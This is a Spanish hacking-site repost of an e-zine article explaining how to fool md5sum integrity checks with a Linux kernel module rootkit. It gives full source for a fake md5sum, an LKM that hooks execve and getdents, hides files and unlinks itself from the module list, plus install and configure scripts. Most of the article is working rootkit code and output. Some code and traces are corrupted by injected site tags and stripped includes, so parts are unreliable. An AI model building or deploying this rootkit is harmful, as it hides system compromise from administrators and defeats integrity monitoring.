Home Hacking y Seguridad Rootkits / Kernel Evadiendo md5sum desde el kernel

Ultimos Mensajes del Foro

Manual Aleatorio

borrado seguro de ficheros en distintos sistemas

En este articulo voy a explicar el borrado de datos de forma segura desde diversas plataformas. Es importante tener conocimiento de esto ya que nos puede salvar de algun contratiempo no deseado.

Existen varias formas para borrar un fichero de manera que no se pueda recuperar, y no es borrandolo de tu papelera de reciclaje.

Leer más...
Evadiendo md5sum desde el kernel Imprimir E-mail
Hacking y Seguridad - Rootkits / Kernel
Escrito por Administrator   
En este texto IReick nos explica como podemos evadir la comprobacion md5sum de archivos usando un modulo para el kernel (LKM).

Texto Completo:
     -=( 7A69#12 )=--=( art9 )=--=( Evadiendo md5sum )=--=( IReick )=-
       

EVADIENDO MD5SUM - ireick
-------------------------

Charlando un dia con alguien sobre la troyanizacion del software, sus 
ventajes y desventajas, enseguida salio el tema de lo facil que es 
para un administrador usar el checksum del fichero para darse cuenta 
de que el software ha sido modificado. Pues bien en este pequeño articulo 
expongo una posbile solución para evitar darse cuenta de la integridad de 
un archivo mediante una herramienta de uso común como es md5sum.

NOTA: UTILIZAR LKM PARA REDIRECCIONAR EJECUTABLES Y ASI SALTARSE HERRAMIENTAS
COMO MD5SUM O TRIPWARE ES ALGO QUE YA HA APARECIDO EN OTROS SITIOS. LA PRIMERA
VEZ QUE LEI ALGO SOBRE ESTO FUE EN PHRACK (veanse referencias)
--EVITANDO MD5SUM--

Bien, vamos a abordar el problema, veamos que es lo que pasa si se utiliza 
md5sum para verificar un archivo, imaginemos el siguiente codigo, muy dificil 
de imaginar no es verdad :P

[illo@localhost apache]$ cat hola.c
main() {
printf("hola\n");
}

Muy bien vamos a compilar y pasarle md5sum al binario:

[illo@localhost apache]$ gcc hola.c -ohola
[illo@localhost apache]$ md5sum hola
35317b4565538f4daa130314a465d25a  hola

Bien ahora vamos a hacer una pequeña modificacion en hola.c:

[illo@localhost apache]$ cat hola.c
main() {
printf("hola\n");
printf("adios\n");
}

Compilamos y pasamos md5sum:

[illo@localhost apache]$ gcc hola.c -ohola
[illo@localhost apache]$ md5sum hola
bef1ac85326b858bf927f882a20cb964  hola

Vaya, que es lo que ha pasado? Pues sencillo hemos modificado el codigo, por
lo tanto el binario, por lo tanto el checksum del fichero ha cambiado, 
conclusion, no se puede asegurar la integridad del binario :P

Ahora bien q pasa si ahora hicieramos:

[illo@localhost apache]$ md5sum hola

y nos encontraramos con:
 
35317b4565538f4daa130314a465d25a  hola

En este caso lo veriamos todo en orden y no nos preocupariamos por la 
integridad (me ha gustao esta palabra :P) del binario.

Bien, pero, como conseguir esto? pues a mi se me ocurre una cosa (a mi y a otra
mucha gente :P) lkm (loadable kernel modules), muy bien y q hacemos con un lkm,
pues veamos:

[illo@localhost apache]$ strace md5sum hola
execve("/usr/bin/md5sum", ["md5sum", "hola"], [/* 28 vars */]) = 0
uname({sys="Linux", node="localhost.localdomain", ...}) = 0
-brk(0)                                  = 0x80508a4
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
                           = 0

....
....
....

open("hola", O_RDONLY|O_LARGEFILE)      = 3
fstat64(3, {st_mode=S_IFREG|0775, st_size=13617, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40022000
read(3, "7ELFjumijumijumi{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}[*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}jumi{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}`3"..., 4096) = 4096
read(3, "5535;{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}signed char:t(0,10)=@s8;r("..., 4096) = 4096
read(3, "ONV_NOMEM:3,__GCONV_EMPTY_INPUT:"..., 4096) = 4096
read(3, "43{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}[*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}\f{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}+{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}{jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}"..., 4096) = 1329
read(3, "", 4096)                       = 0
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x40022000, 4096)                = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40022000
ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
write(1, "bef1ac85326b858bf927f882a20cb964"..., 39bef1ac85326b858bf927f882a20cb964  hola
) = 39
munmap(0x40022000, 4096)                = 0
_exit(0)                                = ?

Bueno una vez hecho esto, podemos llegar facilmente a la conclusion de que 
podemos interceptar execve 

execve("/usr/bin/md5sum", ["md5sum", "hola"], [/* 28 vars */]) = 0

para que en vez de md5sum se ejecute alguna otra cosa cuando se le pase como
argv[1] hola (tb podriamos optar por interceptar open, pero nos quedamos
con execve :)

--QUE EJECUTAMOS EN VEZ DE MD5SUM--

Bien lo primero que hemos de pensar es en que vamos a ejecutar en vez de 
md5sum, bien lo que yo propongo es lo siguiente, usar un programa q mantenga 
en un fichero una lista con archivos y cadenas que queremos que se muestren si
se hiciera un md5sum de dicho archivo, de forma q podamos añadir entradas a
esta pequeña "base de datos" llamando al programa con una determinada 
opcion (en este caso programa -a). 
Asi cuando se ejecute md5sum el lkm interceptara execve y llamara a este 
programa que consultara en la lista si existe el programa y si esta mostrara 
la cadena que hemos especificado, sino se ejecutara md5sum. Si no hemos 
pasado a md5sum como opcion un archivo, es decir que se le ha pasado algo 
como "--help" este programa hara que se ejecute md5sum --help. Para conseuir 
esto ultimo necesitamos hacer una copia de md5sum  a md6sum porque sino cuando
como veremos malo llamase a md5sum el execve seria interceptado por el lkm que
a su ver volveria a llamar a malo y bueno ya os imaginais el resto :P
Bueno, dejo de decir cosas que me lio y pasteo el codigo que seguro que se 
entiende mucho mejor a el que a mi :)

---------aqui empieza malo.c--------------------------------------------------
#include 
#include 
#include 
#include 

struct {
	char programa[25]; 
	char cadena[50];
	} lista;

void anade() {
	FILE *fichero;
	fichero = fopen("/bin/lista.txt", "a");
	printf("Programa: ");
	fflush(stdout);
	gets(lista.programa);
	printf("Cadena: ");
	gets(lista.cadena);
	fwrite(&lista, sizeof(lista), 1, fichero);
	fclose(fichero);
}

void muestra(char *argumento) {
	int i;
	FILE *fichero;
	fichero = fopen("/bin/lista.txt", "r");
	i=0;
	while (!feof(fichero)) {
		fread(&lista, sizeof(lista), 1, fichero);
		if (!strcmp(lista.programa, argumento) && (i==0)) {
			printf("%s  %s\n", lista.cadena, lista.programa);
			i=1;
		}
	}
	fclose(fichero);
	if (i==0)
		execl("/usr/bin/md6sum", "md6sum", argumento, 0);
}

void main(int argc, char **argv) {
	if (argc > 1) {
		if (!strcmp(argv[1], "-a"))
			anade();
		else if (!strcmp(argv[1], "-b")) {
			muestra(argv[2]);
		}
		else if (!strcmp(argv[1], "-t")) {
			muestra(argv[2]);
		}
		else {
			muestra(argv[1]);
		}
	}
	else	
		execl("/usr/bin/md6sum", "md6sum", 0);
}

----------aqui acaba malo.c-----------------------------------------------

--EL LKM--

Bueno pues ahora nos queda codear el lkm que tendria que hacer lo siguiente:
1-Redireccionar el ejecutable cuando intentemos hacer un md5sum.
2-Ocultar tanto nuestro ejecutable malo como el archivo lista.txt como md6sum 
ante por ejemplo un ls.
3-Pues pasar desapercibido ante, un lsmod por decir algo :P (si quereis 
  entender mejor este apartado os remito al texto sobre Ripe en este mismo 
  numero sobre LKM)

Muy bien pues para el primer proposito hemos dicho que tenemos que interceptar
la syscall execve y para el segundo proposito necesitamos interceptar la 
syscall getdents (estamos usando un kernel 2.2.14) como vemos a continuacion:

[illo@localhost illo]$ strace ls > /dev/null
........
........
........
open(".", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|0700, st_size=1024, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
brk(0x805a000)                          = 0x805a000
getdents(3, /* 7 entries */, 3391)      = 148 |__ aqui ta :):
getdents(3, /* 0 entries */, 3391)      = 0   |
close(3)                                = 0
......
......
......

Bien y para nuestro tercer proposito, lo que vamos a hacer es lo siguiente,
basicamente se trata de acceder al simbolo kernel_module y asi poder acceder a 
module_list ya que entre ellos hay un offset que conocemos. Asi desde nuestro
modulo hemos de llegar al kernel_module (cuando next valga NULL) y como 
conocemos el offset... exacto tenemos acceso a module_list, ahora podemos 
recorrer la lista enlazada que se usa para guardar los modulos y ocultar el 
modulo que queramos, esta tecnica, aqui digamos "pierde potencial" pero 
imaginaos que queremos ocultar un modulo que cargamos despues de el modulo 
que se encargara de ocultar modulos (ala ahi no os lieis ep :P) podemos usar 
esta tecnica para poder acceder a module_list :). Si quereis saber mas sobre 
ocultacion de modulos, lo dicho, el doc sobre LKM's de Ripe publicado en este 
mismo numero de la e-zine, no tiene desperdicio.

Bueno pues aqui esta el lkm:

---------------lkm.c empieza aqui
#define __KERNEL__
#define MODULE

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define __NR_mexecve 200
#define MALO "/bin/malo"

int errno;
static inline _syscall1(int, brk, void *, end_data_segment);

extern void *sys_call_table[];

void *module_list=NULL;
void *tmp;

int (*o_execve)(const char *filename, const char *argv [], const char *envp[]);
int (*o_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

void *get_module_list() {
struct module *m=&__this_module;
while(m->next)
	m=m->next;
module_list=m+1;
}

void hide_lkm() {
void **tmp;
struct module *m;
struct module *m2;
struct module *lkm=&__this_module;

tmp=(void **)module_list;
for(m=(*tmp), m2=NULL; m; m2=m, m=m->next)
	if(!strcmp(m->name, lkm->name)) 
		break;
if (m2)
	m2->next=m->next;
else
	(*tmp)=m->next;
}

int mexecve(const char *filename, const char *argv [], const char *envp[])
{
	long __res;
	__asm__ volatile ("int {jumi [*3] [http://www.govannom.org/seguridad/kernel/md5sum_lkm.txt]}x80":"=a" (__res):"0"(__NR_mexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
	return (int) __res;
}

int ocultar(char *archivo) {
	if (!strcmp("malo", archivo))
		return(1);
	else if(!strcmp("lista.txt", archivo))
		return(1);
        else if(!strcmp("md6sum", archivo))
                return(1);
	else
		return(0);
}

int mi_execve(const char *filename, const char *argv [], const char *envp) {
int ret;
int mmm;
char *exec=kmalloc(strlen(filename)+1, GFP_KERNEL);
memset(exec, 0, strlen(filename)+1);
__generic_copy_from_user(exec, filename, strlen(filename));
if (!strcmp("/usr/bin/md5sum", exec)) {
	kfree(exec);
	mmm=current->mm->brk;
	brk((void *)mmm+strlen(MALO)+1);
	__generic_copy_to_user((void *)mmm, MALO, strlen(MALO) + 1);
	ret=mexecve((void *)mmm, (char **)argv, (char **)envp); 
	brk((void *)mmm);
	return(ret);
}
kfree(exec);
return(mexecve(filename, (char **)argv, (char **)envp));
}

int mi_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
int ret;
int i=0;
struct dirent *mdirp, *mdirp2, *d1, *d2;
char *ptr;
ret=(*o_getdents)(fd, dirp, count);

if (ret < 0)
	return(ret);
mdirp=(struct dirent*)kmalloc(ret, GFP_KERNEL);
mdirp2=(struct dirent*)kmalloc(ret, GFP_KERNEL);
__generic_copy_from_user(mdirp, dirp, ret);
memset(mdirp2, 0, ret);
__generic_copy_to_user(dirp, mdirp2, ret);
d1=mdirp;
d2=mdirp2;
while(ret>0) {
	ret-=d1->d_reclen;
	if((ocultar(d1->d_name))==0) {
		memcpy(d2, d1, d1->d_reclen);
		i+=d2->d_reclen;
		ptr=(char *)d2;
		ptr+=d2->d_reclen;
		d2=(struct dirent*)ptr;
		}
	ptr=(char *)d1;
	ptr+=d1->d_reclen;
	d1=(struct dirent*)ptr;
	}
__generic_copy_to_user(dirp, mdirp2, i);
kfree(mdirp);
kfree(mdirp2);
return(i);
}	
int init_module() {
get_module_list();
hide_lkm();
o_execve=sys_call_table[__NR_execve];
tmp=sys_call_table[__NR_mexecve];
sys_call_table[__NR_mexecve]=o_execve;
sys_call_table[__NR_execve]=mi_execve;
o_getdents=sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents]=mi_getdents;
return(0);
}

void cleanup_module() {
sys_call_table[__NR_execve]=o_execve;
sys_call_table[__NR_mexecve]=tmp;
sys_call_table[__NR_getdents]=o_getdents;
}
-----------------lkm.c acaba aqui------------

--PRUEBAS--
Muy bien, pues ya lo tenemos casi todo, ahora incluyo un pequeño script
que se encarga de compilar y poner en marcha todo el codigo :)

-----------------Aqui empieza install-------------

cp /usr/bin/md5sum /usr/bin/md6sum
gcc malo.c -omalo
mv malo /bin/malo
gcc -O2 -I/usr/src/linux/include/ -c lkm.c
insmod lkm.o

-----------------Aqui acaba install----------------

Bueno pues ya lo tenemos todo :) Ahora toca probar, para ello volvamos con
el ejemplo del programa hola :P, recordemos que es lo que pasaba al hacer
un md5sum de la "segunda version" del programa:

[illo@localhost apache]$ md5sum hola
bef1ac85326b858bf927f882a20cb964  hola

Vale, ahora hagamos uso de lo que hemos ido haciendo en este artículo :)


root@localhost md5]# ls
install  lkm.c  malo.c

[root@localhost md5]# ./install
algunos warnings :P

[root@localhost md5]# lsmod
Module                  Size  Used by
BusLogic                87820   2

mmm onde tara lkm :)

[root@localhost md5]# ls /bin
arch          csh            gawk        mail           remadmin   tcsh
ash           date           gawk-3.0.4  mkdir          rm         touch
ash.static    dd             grep        mknod          rmdir      true
awk           df             gtar        mktemp         rpm        umount
basename      dmesg          gunzip      more           rvi        uname
bash          dnsdomainname  gzip        mount          rview      userconf
bash2         doexec         hostname    mt             sed        usleep
bsh           domainname     igawk       mv             setserial  vi
cat           echo           ipcalc      netconf        sh         view
chgrp         ed             kill        netstat        sleep      vimtutor
chmod         egrep          linuxconf   nice           sort       ypdomainname
chown         ex             ln          nisdomainname  stty       zcat
consolechars  false          loadkeys    ps             su
cp            fgrep          login       pwd            sync
cpio          fsconf         ls          red            tar

mmm onde tara malo :) (algo como esto pasa con lista.txt y md6sum ;)

[root@localhost md5]# md5sum -a
Programa: hola
Cadena: 35317b4565538f4daa130314a465d25a

mmm no sabia q md5sum tuviera esa opcion :)


root@localhost md5]# cd ..
[root@localhost /root]# ls
... hola ...
[root@localhost /root]# md5sum hola
35317b4565538f4daa130314a465d25a  hola

mmm vay vaya pero si esto era antes de la modificacion... :)

[root@localhost /root]# md5sum -b hola
35317b4565538f4daa130314a465d25a  hola

mmm pos si si "parece" que nada haya cambiado en hola :P


ot@localhost md5]# md5sum --version
md5sum (GNU textutils) 2.0a
Written by Ulrich Drepper.

Copyright (C) 1999 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

mmm pos "parece" q md5sum rula bien :)

Bueno pues para acabar incluyo un script de configuracion que salio a
partir de una conversacion con alguien sobre la posibilidad de hacer 
que el programa fuera configurable.

-----------aqui empieza configure.sh--------
#!/bin/sh

escribealgo () {
	echo "escribe algo!"
	exit
}

echo -e "Script de configuracion"
echo ""

echo -n "Path completo al archivo de configuracion: "
read CONFIG
if [ -z $CONFIG ]; then
	escribealgo
fi
echo -n "Path del ejecutable md5sum real: "
read MD5_REAL_BIN
if [ -z $MD5_REAL_BIN ]; then
	escribealgo
fi
echo -n "Path completo al ejecutable sustituto de md5sum: "
read MD5_FAKE_BIN
if [ -z $MD5_FAKE_BIN ]; then
	escribealgo
fi
echo -n "Nombre del ejecutable sustituto de md5sum: "
read MD5_FAKE_BIN_NAME
if [ -z $MD5_FAKE_BIN_NAME ]; then
	escribealgo
fi

echo ""
echo -n "Generando malo.c "
cat << EOF > malo.c
#include 
#include 
#include 
#include 

#define CONFIG_FILE	"$CONFIG"
#define MD5_FAKE_BIN	"$MD5_FAKE_BIN"
#define MD5_FAKE_BIN_NAME	"$MD5_FAKE_BIN_NAME"
struct {
	char programa[25]; 
	char cadena[50];
	} lista;

void anade() {
	FILE *fichero;
	fichero = fopen(CONFIG_FILE, "a");
	printf("Programa: ");
	fflush(stdout);
	gets(lista.programa);
	printf("Cadena: ");
	gets(lista.cadena);
	fwrite(&lista, sizeof(lista), 1, fichero);
	fclose(fichero);
}

void muestra(char *argumento) {
	int i;
	FILE *fichero;
	fichero = fopen(CONFIG_FILE, "r");
	i=0;
	while (!feof(fichero)) {
		fread(&lista, sizeof(lista), 1, fichero);
		if (!strcmp(lista.programa, argumento) && (i==0)) {
			printf("%s  %s\n", lista.cadena, lista.programa);
			i=1;
		}
	}
	fclose(fichero);
	if (i==0)
		execl(MD5_FAKE_BIN, MD5_FAKE_BIN_NAME, argumento, 0);
}

void main(int argc, char **argv) {
	if (argc > 1) {
		if (!strcmp(argv[1], "-a"))
			anade();
		else if (!strcmp(argv[1], "-b")) {
			muestra(argv[2]);
		}
		else if (!strcmp(argv[1], "-t")) {
			muestra(argv[2]);
		}
		else {
			muestra(argv[1]);
		}
	}
	else	
		execl(MD5_FAKE_BIN,MD5_FAKE_BIN_NAME, 0);
}
EOF

echo "Ok!"
echo -n "Generando lkm.c "

cat << EOF > lkm.c
#define __KERNEL__
#define MODULE

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define __NR_mexecve 200
#define MALO "/bin/malo"

int errno;
static inline _syscall1(int, brk, void *, end_data_segment);

extern void *sys_call_table[];

void *tmp;

int (*o_execve)(const char *filename, const char *argv [], const char *envp[]);
int (*o_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

void *get_module_list() {
struct module *m=&__this_module;
while(m->next)
	m=m->next;
module_list=m+1;
}

void hide_lkm() {
void **tmp;
struct module *m;
struct module *m2;
struct module *lkm=&__this_module;

tmp=(void **)module_list;
for(m=(*tmp), m2=NULL; m; m2=m, m=m->next)
	if(!strcmp(m->name, lkm->name)) 
		break;
if (m2)
	m2->next=m->next;
else
	(*tmp)=m->next;
}

int mexecve(const char *filename, const char *argv [], const char *envp[])
{
	long __res;
	__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_mexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
	return (int) __res;
}

int ocultar(char *archivo) {
	if (!strncmp("malo", archivo,strlen("malo")))
		return(1);
	else if(!strncmp("$CONFIG_FILE", archivo,strlen("$CONFIG_FILE")))
		return(1);
	else if(!strncmp("$CONFIG_FILE", archivo,strlen("$CONFIG_FILE")))
		return(1);
	else
		return(0);
}

int mi_execve(const char *filename, const char *argv [], const char *envp) {
int ret;
int mmm;
char *exec=kmalloc(strlen(filename)+1, GFP_KERNEL);
memset(exec, 0, strlen(filename)+1);
__generic_copy_from_user(exec, filename, strlen(filename));
if (!stnrcmp("$MD5_REAL_BIN", exec,strlen("$MD5_REAL_BIN")) {
	kfree(exec);
	mmm=current->mm->brk;
	brk((void *)mmm+strlen(MALO)+1);
	__generic_copy_to_user((void *)mmm, MALO, strlen(MALO) + 1);
	ret=mexecve((void *)mmm, (char **)argv, (char **)envp); 
	brk((void *)mmm);
	return(ret);
}
kfree(exec);
return(mexecve(filename, (char **)argv, (char **)envp));
}

int mi_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
int ret;
int i=0;
struct dirent *mdirp, *mdirp2, *d1, *d2;
char *ptr;
ret=(*o_getdents)(fd, dirp, count);

if (ret < 0)
	return(ret);
mdirp=(struct dirent*)kmalloc(ret, GFP_KERNEL);
mdirp2=(struct dirent*)kmalloc(ret, GFP_KERNEL);
__generic_copy_from_user(mdirp, dirp, ret);
memset(mdirp2, 0, ret);
__generic_copy_to_user(dirp, mdirp2, ret);
d1=mdirp;
d2=mdirp2;
while(ret>0) {
	ret-=d1->d_reclen;
	if((ocultar(d1->d_name))==0) {
		memcpy(d2, d1, d1->d_reclen);
		i+=d2->d_reclen;
		ptr=(char *)d2;
		ptr+=d2->d_reclen;
		d2=(struct dirent*)ptr;
		}
	ptr=(char *)d1;
	ptr+=d1->d_reclen;
	d1=(struct dirent*)ptr;
	}
__generic_copy_to_user(dirp, mdirp2, i);
kfree(mdirp);
kfree(mdirp2);
return(i);
}	
int init_module() {
get_module_list();
hide_lkm();
o_execve=sys_call_table[__NR_execve];
tmp=sys_call_table[__NR_mexecve];
sys_call_table[__NR_mexecve]=o_execve;
sys_call_table[__NR_execve]=mi_execve;
o_getdents=sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents]=mi_getdents;
return(0);
}

void cleanup_module() {
sys_call_table[__NR_execve]=o_execve;
sys_call_table[__NR_mexecve]=tmp;
sys_call_table[__NR_getdents]=o_getdents;
}
EOF

echo "Ok!"
echo -n "Generando install "

cat << EOF > install
cp $MD5_REAL_BIN $MD5_FAKE_BIN
gcc malo.c -omalo
mv malo /bin/malo
gcc -O2 -I/usr/src/linux/include/ -c lkm.c
insmod lkm.o
EOF

echo "Ok!"
-----------aqui acaba configure.sh----------

--REFERENCIAS--

ARTÍULOS:
SET 22. "Linux Kernel Modules"
Autor: Doing 

Netsearch 5 "LKM: el backdoor perfecto"
Autor: Doing

7a69 12:"Linux LKMs; Troyanizando el kernel"
Autor: Ripe

Phrack 51. "Bypassing Integrity Checking Systems"
Autor: halflife

Phrack 52. "Weakening the Linux Kernel"
Autor: plaguez

"(nearly) Complete Linux Loadable Kernel Modules"
Autor: Pragmatic

CODIGO:
Fuentes Kernel de linux 

fog 2.0.0g
Autores: Ripe

Knark v0.50
Autor: Creed

Saint Jude - Linux Kernel Module 0.10
Autor: Tim Lawless

--DESPEDIDA--

Pues nada se acabo :) un saludote para todos, agradecimientos a todos aquellos
que se han interesado en este sencillo txt y han hecho que sea mejor :_)  
y mi e-mail para cualquier cosa 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Gnome PGP version 0.4

mQGiBDuzPkkRBADTC8dJqxzpd0Wy6kL106AVPT4KDLqR0yY/vs0Sm0NAOzQuJI1w
GQG2josgN91azF1UirPbDRMK6EY1VEQGqhZ3lutCoa5w3tGbhiqmozXQieLItL41
lSNp/8A9vtelvAK75ctKzO5exLSUe0mKwiAUgqWvZmMa577IoGiYA8Ab/wCgvlfr
3Vke9N1RSJo3BSY1aT9GdSkD/2ER7dEiN5I0Oav8p/PLmP3N7CfTMhebvN5YyLcL
0bOUfgX7S8D9mP28Lmi3rU10GcPNMm3Ovr4HhBBet7lPabUeqrxtsYefNbo5u8pT
c5yg5g3GA9fW4WN+qQN0Hvw4tBUnxrI6WrjI5VAdbpWFDP2Tdjq2DHQRgb9v5Ha7
C/XCA/4xzo7i60GNcZnkUY4EbI5nkF6p92GZw2S3PtjUxUgivT4OlYb2VRzREklf
jjfUOXdQ7qMGDAVPucLZpvpYN0yVR1qhJa+TJYrAwyuzw/CbR/X8r1vCGBAHHbxf
NJ9XdPaUqVu4BE08YG3zhHfIWHWuwB0S8MSaIlqop0JP7HI2ubQdaXJlaWNrIDxp
cmVpY2tAN2E2OWV6aW5lLm9yZz6IVwQTEQIAFwUCO7M+SQULBwoDBAMVAwIDFgIB
AheAAAoJECWqUFPmUg390wkAnjl4kWxIUlhkGHmAQuZt5QJVWaY/AJ0Ta7GJpmVQ
CpnT21Gzfqy1XYJ0DbkBDQQ7sz5MEAQA4N13LoE096UV+C76YkPSTJLActiN5qqu
9aAZlsG64Ir/VOXa5nsZN0O3Tx5SRxTlGq7L4Y6l9P5rmsGtYJpHWoZFaEx3EBpn
ucreSzna1m834miJxK1QXEk9W8V0XnTBsS+ZAxkH1DiTzDeLbUHvrBihUV1simyJ
eIc9j/YJiZ8ABAsD/jl7vW3EFaufbunpnfFBXE+rUFdCqRMwYaLQkfUFD5zP/b6u
lQV8op2aGslOaBzWV2X7OFdtY8fdjaInvEGMlJwbaKTTaGVRw+6CelV8GBrGkIku
8QGmx5e+AUWeB67FZzdecfu9Mw0gJF+bmky5W5EiFfKDxmHpBtYYlGZBJnkniEYE
GBECAAYFAjuzPkwACgkQJapQU+ZSDf367wCcC7rJw1D6GwXb5XJ7EfavjzV2+hkA
oKum9N9MP/L9DZdpuPvfn29dRq/m
=OeAb
-----END PGP PUBLIC KEY BLOCK-----

*EOF*